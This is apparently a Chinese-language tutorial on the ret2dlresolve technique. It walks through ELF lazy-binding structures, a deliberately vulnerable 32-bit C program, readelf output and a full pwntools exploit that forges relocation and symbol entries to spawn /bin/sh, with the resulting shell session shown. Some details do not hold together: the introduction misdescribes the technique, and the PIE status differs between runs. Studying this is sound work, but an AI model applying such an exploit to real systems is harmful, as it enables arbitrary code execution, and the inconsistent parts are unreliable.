概要

利用ret2dlresolve,攻击者可以诱导二进制程序解析一个所选择的函数(比如system)为plt。 动态链接的ELF对象在第一次使用PLT和GOT调用时导入libc函数。在重定位runtime symbol,RIP将跳转到PLT并尝试解析该符号。在这个过程中,一个"resolver"被调用。

ret2dlresolve 是一种基于动态链接库 (Dynamic Linking) 的攻击技术,可以用于绕过 NX 或 ASLR 等防护机制。

在一个程序中,如果使用了动态链接库,在程序启动时,动态链接器会自动将需要的库加载到进程的虚拟地址空间中。攻击者可以构造恶意输入,使得程序在运行过程中调用动态链接库中的函数,从而利用该函数实现攻击。

具体来说,攻击者可以通过覆盖某个全局变量(如 DT_INIT 或 DT_FINI_ARRAY)的值为动态链接库中某个函数的地址,从而在程序运行过程中自动加载该动态链接库。然后,攻击者再构造一个伪造的 ELF 结构,包含需要调用的函数名和参数等信息,然后将该结构放在动态链接库中,使得程序调用该函数时就会进入到攻击者构造的伪造的 ELF 结构中。

总的来说,ret2dlresolve 攻击技术利用了动态链接器和 ELF 结构的机制,在程序运行过程中构造伪造的 ELF 结构,从而实现对程序的控制和攻击。由于该攻击技术利用了动态链接库的机制,因此可以绕过 NX 或 ASLR 等防护机制。为了防范该攻击技术,可以采取一些防范措施,如限制动态链接库的加载、使用可执行栈保护技术等。

漏洞程序

#include <unistd.h>
void vuln(void){
    char buf[64];
    read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
    vuln();
}

开启nx保护和pie

└─$ checksec --file=./vuln
[*] '/home/kali/exploits/ret2dlresolve/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

dynamic节

└─$ readelf -d ./vuln     

Dynamic section at offset 0x2ef0 contains 26 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x1000
 0x0000000d (FINI)                       0x11dc
 0x00000019 (INIT_ARRAY)                 0x3ee8
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x3eec
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x1ec
 0x00000005 (STRTAB)                     0x28c
 0x00000006 (SYMTAB)                     0x20c
 0x0000000a (STRSZ)                      166 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x3ff4
 0x00000002 (PLTRELSZ)                   16 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x3c4
 0x00000011 (REL)                        0x384
 0x00000012 (RELSZ)                      64 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffb (FLAGS_1)                    Flags: PIE
 0x6ffffffe (VERNEED)                    0x344
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x332
 0x6ffffffa (RELCOUNT)                   4
 0x00000000 (NULL)                       0x0

dynamic节表项的结构体:

typedef struct {
    Elf32_Sword d_tag;
    union {
        Elf32_Word d_val;
        Elf32_Addr d_ptr;
    } d_un;
} Elf32_Dyn;

symtab

symtab: dynamic linking symbol table address (.dynsym)
符号表项结构体:

typedef struct {
    Elf32_Word st_name;
    Elf32_Word st_value;
    Elf32_Word st_size;
    unsigned char st_info;
    unsigned char st_other; // 0, no use
    Elf32_Half st_shndx;
} Elf32_Sym;

readelf -s 读取符号表:

└─$ readelf -s ./vuln             
Symbol table '.dynsym' contains 8 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND _[...]@GLIBC_2.34 (2)
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (3)
     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]
     4: 00000000     0 FUNC    WEAK   DEFAULT  UND [...]@GLIBC_2.1.3 (4)
     5: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     6: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]
     7: 00002004     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used

Symbol table '.symtab' contains 41 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FILE    LOCAL  DEFAULT  ABS Scrt1.o
     2: 000001cc    32 OBJECT  LOCAL  DEFAULT    3 __abi_tag
     3: 00000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
     4: 000010a0     0 FUNC    LOCAL  DEFAULT   14 deregister_tm_clones
     5: 000010e0     0 FUNC    LOCAL  DEFAULT   14 register_tm_clones
     6: 00001130     0 FUNC    LOCAL  DEFAULT   14 __do_global_dtors_aux
     7: 00004010     1 OBJECT  LOCAL  DEFAULT   25 completed.0
     8: 00003eec     0 OBJECT  LOCAL  DEFAULT   20 __do_global_dtor[...]
     9: 00001180     0 FUNC    LOCAL  DEFAULT   14 frame_dummy
    10: 00003ee8     0 OBJECT  LOCAL  DEFAULT   19 __frame_dummy_in[...]
    11: 00000000     0 FILE    LOCAL  DEFAULT  ABS source.c
    12: 00000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
    13: 00002118     0 OBJECT  LOCAL  DEFAULT   18 __FRAME_END__
    14: 00000000     0 FILE    LOCAL  DEFAULT  ABS 
    15: 00003ef0     0 OBJECT  LOCAL  DEFAULT   21 _DYNAMIC
    16: 00002008     0 NOTYPE  LOCAL  DEFAULT   17 __GNU_EH_FRAME_HDR
    17: 00003ff4     0 OBJECT  LOCAL  DEFAULT   23 _GLOBAL_OFFSET_TABLE_
    18: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_mai[...]
    19: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0
    20: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]
    21: 00001090     4 FUNC    GLOBAL HIDDEN    14 __x86.get_pc_thunk.bx
    22: 00004008     0 NOTYPE  WEAK   DEFAULT   24 data_start
    23: 0000118d    47 FUNC    GLOBAL DEFAULT   14 vuln
    24: 00004010     0 NOTYPE  GLOBAL DEFAULT   24 _edata
    25: 000011dc     0 FUNC    GLOBAL HIDDEN    15 _fini
    26: 00001189     0 FUNC    GLOBAL HIDDEN    14 __x86.get_pc_thunk.dx
    27: 00000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@G[...]
    28: 00004008     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
    29: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    30: 0000400c     0 OBJECT  GLOBAL HIDDEN    24 __dso_handle
    31: 00002004     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    32: 00004014     0 NOTYPE  GLOBAL DEFAULT   25 _end
    33: 00001060    44 FUNC    GLOBAL DEFAULT   14 _start
    34: 00002000     4 OBJECT  GLOBAL DEFAULT   16 _fp_hw
    35: 00004010     0 NOTYPE  GLOBAL DEFAULT   25 __bss_start
    36: 000011bc    28 FUNC    GLOBAL DEFAULT   14 main
    37: 000011d8     0 FUNC    GLOBAL HIDDEN    14 __x86.get_pc_thunk.ax
    38: 00004010     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
    39: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]
    40: 00001000     0 FUNC    GLOBAL HIDDEN    11 _init

strtab

strtab: dynamic linking string table address (.dynstr)

jmprel

jmprel: .rel.plt address (for function) 重定位结构体:

typedef struct {
    // target offset (ex. lazy binding 時, .rel.plt 內的 offset 即是 func@got 的 address)
    Elf32_Addr r_offset;
    // first 3 bytes for reloc symbol index in symbol table (.dynsym 的 num)
    // last 1 byte for reloc type
    Elf32_Word r_info; 
} Elf32_Rel;
#define ELF32_R_SYM(r_info) (r_info >> 8)
#define ELF32_R_TYPE(r_info) (r_info & 0xff)

readelf -r 读取重定位信息:

─$ readelf -r ./vuln

Relocation section '.rel.dyn' at offset 0x384 contains 8 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00003ee8  00000008 R_386_RELATIVE   
00003eec  00000008 R_386_RELATIVE   
00003fec  00000008 R_386_RELATIVE   
0000400c  00000008 R_386_RELATIVE   
00003fe0  00000306 R_386_GLOB_DAT    00000000   _ITM_deregisterTM[...]
00003fe4  00000406 R_386_GLOB_DAT    00000000   __cxa_finalize@GLIBC_2.1.3
00003fe8  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
00003ff0  00000606 R_386_GLOB_DAT    00000000   _ITM_registerTMCl[...]

Relocation section '.rel.plt' at offset 0x3c4 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00004000  00000107 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.34
00004004  00000207 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0

延迟绑定图示

.rel.plt和.dynsym及.dynstr

_dl_runtime_resolve(link_map,reloc_index)获取重定位地址写入got中。link_map.l_info可以获取.rel.plt,.dynsym以及.strtab节地址,而reloc_index可以在.rel.plt节中索引定位到Elf32_Rel。

  1. Elf32_Rel.r_offset存放需要重定位函数的偏移地址,该地址指向got表项。
  2. ELF32_R_SYM(Elf32_Rel.r_info)获取.dynsym表的表项,从而获取需要重定位的符号Elf32_Sym
  3. 通过Elf32_Sym.st_name从.dynstr表中获取重定位符号名read@GLIBC_2.0
  4. _dl_runtime_resolve搜索所有已经加载的共享库,定位到真实的地址,把地址更新到.got.plt中,然后,调用read@GLIBC_2.0

pwn

from pwn import *

elf = context.binary = ELF('./vuln')

bss_addr = elf.bss()

plt_addr = elf.get_section_by_name('.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr

offset = 76
stack_size = 0x900
stack_base_addr = bss_addr + stack_size
rop_size = 0x100

# stage 1:
rop = ROP(elf)
rop.raw('a' * offset)
rop.read(0,stack_base_addr,rop_size)
#rop.migrate(stack_base_addr)

libc_addr = 0xf7c00000
rop.raw(libc_addr + 0x16e138)
rop.raw(stack_base_addr)

p = process('./vuln')

log.info(rop.dump())
p.sendline(rop.chain())

# stage 2 :
rop = ROP(elf)
rop.raw(plt_addr)

fake_rel_offset = 24
rel_size = 8
sym_size = 16

# reloc_index for position the fake elfn_rel
reloc_index = stack_base_addr + fake_rel_offset - rel_plt_addr
rop.raw(reloc_index)

# the return address in call read@plt
rop.raw(b'b' * 4)

# fake elfn_sym
align = 16 - (stack_base_addr + fake_rel_offset + rel_size - dynstr_addr) % 16
fake_sym_addr = stack_base_addr + fake_rel_offset + rel_size + align
sym_index = (fake_sym_addr - dynsym_addr) / 16
sym_index = int(sym_index)

st_name = fake_sym_addr + 16 - dynstr_addr
st_value = 0
st_size = 0
st_info = 0x12


# fake elfn_rel
rel_offset = elf.got['read']
rel_info = (sym_index  << 8) | 0x7

# system's parameter
system_str = 'system\x00'
bin_addr = fake_sym_addr + sym_size + len(system_str)
rop.raw(bin_addr)
rop.raw('aaaa')
rop.raw('aaaa')

# padding fake elfn_rel
rop.raw(rel_offset)
rop.raw(rel_info)

# padding fake elfn_sym
rop.raw(align * 'b')
rop.raw(st_name)
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)

# padding fake dynstr
rop.raw('system\x00')
rop.raw('/bin/sh\x00')
rop.raw( (100 - len(rop.chain())) * 'c')
p.sendline(rop.chain())

p.interactive()

pwn 运行结果:

└─$ python myexploit.py
[*] '/home/kali/exploits/ret2dlresolve/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Loaded 5 cached gadgets for './vuln'
[+] Starting local process './vuln': pid 129408
[*] Switching to interactive mode

$ w
 04:38:58 up  8:46,  6 users,  load average: 0.29, 0.23, 0.19
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
kali     tty7     :0               Fri04   24:24m  3:55   0.32s xfce4-session
kali     pts/1    192.168.44.1     00:35    2:09m  1.48s  1.48s -zsh
kali     pts/2    192.168.44.1     03:16    2.00s  2.35s  0.54s python myexploit.py
kali     pts/3    192.168.44.1     00:35    3:16m  1.71s  1.11s gdb -q -ex init-gef -q -p 88491
kali     pts/5    192.168.44.1     03:39    4:55   2.00s  2.00s -zsh
kali     pts/6    192.168.44.1     04:31    4:58   0.16s  0.16s -zsh

关键点

  1. 利用read的溢出漏洞获取再次输入的机会和栈空间转移
    栈偏移 栈内容
    +76 read@plt
    +80 gadget1 == add esp,8; pop ebx; ret
    +84 0
    +88 stack_base_addr = bss段地址 + stack_size
    +92 stack_size
    +96 gadget2 == pop esp ; ret
    +100 stack_base_addr

因为本机编译的vuln中无法获得栈空间转移的gadget,所以,为了演示只能用libc中的gadget。

  1. bss段的栈布局
栈偏移 栈内容
+ 00 plt[0]
+ 04 reloc_index
+ 08 padding
+ 12 /bin/sh地址
+ 16 elfn_rel.r_offset
+ 20 elfn_rel.r_info
+ 24 elfn_sym.st_name
+ 28 elfn_sym.st_size
+ 32 elfn_sym.st_value
+ 36 elfn_sym.st_info
+ 40 “system\x00”
+ 47 “/bin/sh\x00”

参考